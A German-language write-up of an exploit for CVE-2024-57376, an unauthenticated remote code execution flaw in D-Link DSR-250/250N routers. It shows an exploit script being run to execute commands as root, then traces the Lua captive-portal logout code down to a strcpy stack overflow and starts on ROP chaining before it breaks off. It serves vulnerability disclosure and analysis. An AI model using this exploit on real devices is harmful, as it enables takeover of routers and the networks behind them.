
CVE-2024-57376 Exploit
Exploit für Remote-Code-Ausführung ohne Authentifizierung für D-Link DSR-250 und DSR-250N
Sicherheitshinweis: https://supportannouncement.us.dlink.com/security/publication.aspx?name=SAP10415
$ python3 exploit.py
usage: <host> <port> <command>
$ python3 exploit.py 192.168.1.1 443 id
[+] fingerprint
device: DSR-250N
year : 2021
b'HTTP/1.1 200 OK\r\nContent-Length: 24\r\nDate: Thu, 22 Dec 2022 11:50:49 GMT\r\nServer: Light Weight Web Server\r\n\r\nuid=0(root) gid=0(root)\n'
HTTP/1.1 200 OK
Content-Length: 24
Date: Thu, 22 Dec 2022 11:50:49 GMT
Server: Light Weight Web Server
uid=0(root) gid=0(root)
$ python3 exploit.py 192.168.1.1 443 'cat /pfrm2.0/etc/dlink_version'
[+] fingerprint
device: DSR-250N
year : 2021
b'HTTP/1.1 200 OK\r\nContent-Length: 12\r\nDate: Thu, 22 Dec 2022 11:57:35 GMT\r\nServer: Light Weight Web Server\r\n\r\n3.17B901C_WW'
HTTP/1.1 200 OK
Content-Length: 12
Date: Thu, 22 Dec 2022 11:57:35 GMT
Server: Light Weight Web Server
3.17B901C_WW
Es handelt sich um den Code der Funktion duaCP.logout, die beim Abmelden aufgerufen wird.
function duaCP.logout (cgiparams)
local extCpResult, clientMac, clientIp, authenticatorIp, apMac, apIp, vendor,
ssid, deviceType, vlan, pageId, returnUrl, authSuccessUrl,
returnLogoutUrl, notifyUrl, sessionRandom, hash, token
local request = ""
extCpResult = cgiparams.externalCpResult
clientMac = cgiparams.clientMac
clientIp = cgiparams.clientIp
authenticatorIp = cgiparams.authenticatorIp
apMac = cgiparams.apMac
apIp = cgiparams.apIp
vendor = cgiparams.vendor
ssid = cgiparams.ssid
deviceType = cgiparams.deviceType
vlan = cgiparams.vlan
pageId = cgiparams.pageIndex
returnUrl = cgiparams.returnUrl
authSuccessUrl = cgiparams.authenticationSuccessUrl
returnLogoutUrl = cgiparams.returnLogoutUrl
notifyUrl = cgiparams.notifyUrl
sessionRandom = cgiparams.sessionRandom
hash = cgiparams.hash
token = db.getAttribute("cpExtWebServer", "_ROWID_", "1", "token")
local status, reason
reason = "success"
-- validate hash first
if (hashValidate (authenticatorIp, clientMac, token, sessionRandom, hash) == "ERROR") then
-- respond to DUA with failure result so that user will be shown login
-- page
reason = "failure"
end
status, clientMac, clientIp = duaCP.parse_logoutInfo (extCpResult)
if (status == "ERROR") then
reason = "failure"
end
-- redirect to DUA
duaCP.logoutProcess (cgiparams, reason, token)
end
Sie ruft auf:
hashValidateduaCP.parse_logoutInfoduaCP.logoutProcessDer Weg zum anfälligen Code ist duaCP.parse_logoutInfo. Es verwendet extCpResult, eine Benutzereingabe, als Parameter.
Hier ist der Code von duaCP.parse_logoutInfo.
function duaCP.parse_logoutInfo (extCpResult)
local status = "OK"
-- process the extCpResult
status, clientMac, clientIp = captivePortalLib.duaLogoutInfoGet (extCpResult)
if (status == "1" or tonumber (status) == 1) then
return "ERROR"
end
clientMac = clientMac:gsub("%-", "%:")
return status, clientMac, clientIp
end
Sie ruft captivePortalLib.duaLogoutInfoGet auf. Sie verwendet extCpResult direkt als Parameter. Der Code davon ist in einer gemeinsam genutzten Bibliothek definiert, captivePortalLib.so

lua_tolstring gibt einen Zeiger auf den String von extCpResult zurück und strcpy wird aufgerufen, das eine lokale Variable als Parameter hat. Es handelt sich eindeutig um einen Stack-Pufferüberlauf. Jetzt müssen wir ROP-Gadgets verketten.
Es gibt einige Einschränkungen, da die Sicherheitslücke durch strcpy ausgelöst wird. Wir können keine NULL-Bytes eingeben.
Hier ist eine Speicherkarte: